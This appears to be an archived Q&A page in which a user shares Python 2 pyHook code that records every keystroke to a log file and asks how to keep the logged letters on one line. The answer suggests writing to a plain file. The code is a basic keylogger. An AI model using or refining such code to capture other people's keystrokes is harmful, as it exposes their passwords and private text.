Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 620477
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 13, 20262026-05-13T18:46:06+00:00 2026-05-13T18:46:06+00:00

import pythoncom, pyHook, logging, string LOG_FILENAME = ‘logfile.txt’ def OnKeyboardEvent(event): print ‘MessageName:’,event.MessageName print ‘Time:’,event.Time

  • 0
import pythoncom, pyHook, logging, string

LOG_FILENAME = 'logfile.txt'

def OnKeyboardEvent(event):
    print 'MessageName:',event.MessageName
    print 'Time:',event.Time
    print 'WindowName:',event.WindowName
    print 'Ascii:', event.Ascii, chr(event.Ascii)
    print 'Key:', event.Key
    print '---'
    k = event.Key
    logging.basicConfig(filename=LOG_FILENAME,level=logging.DEBUG, 
                        format='%(message)s')
    logging.debug(k)

    return True

    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

In the logfile.txt the message shows seperate letters on different lines, how can I make it show the message on the same line?

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-13T18:46:06+00:00Added an answer on May 13, 2026 at 6:46 pm

    There doesn’t seem to be any way to make Logger.debug() append messages to the same line. Since your log file format is so simple, why not just use a plain file object?

    logger = open(LOG_FILENAME, 'a')
    logger.write(k)
    logger.close()
    
    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

Trying to run this script: import pythoncom, pyHook def OnMouseEvent(event): # called when mouse
import sys import matplotlib import matplotlib.pyplot as plt print matplotlib.__version__, matplotlib.get_backend() def hit(event): sys.stderr.write('hit\n')
import multiprocessing as mp import time def build(q): print 'I build things' time.sleep(10) #return
import org.joda.time.LocalDate; public class Test { public static void main(String[] args) { long time=System.currentTimeMillis();
import java.util.Scanner; public class CourseSplitter { public static void main(String args[]){ Scanner keyboard =
import xlrd book = xlrd.open_workbook(File_1.xls) sheet = book.sheet_by_index(0) print sheet.row_values(0)[0] I am trying to
import xlwt import xlrd import os.path import os print os.path.abspath(os.curdir) #Create workbook and worksheet
import sys def keepsumming(number): numberlist = [] for digit in str(number): numberlist.append(int(digit)) total =
import wx import wx.grid as gridlib ######################################################################## class PanelOne(wx.Panel): #---------------------------------------------------------------------- def __init__(self, parent): Constructor
import java.util.*; public class Test { public static void main(String[] args) { List db

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.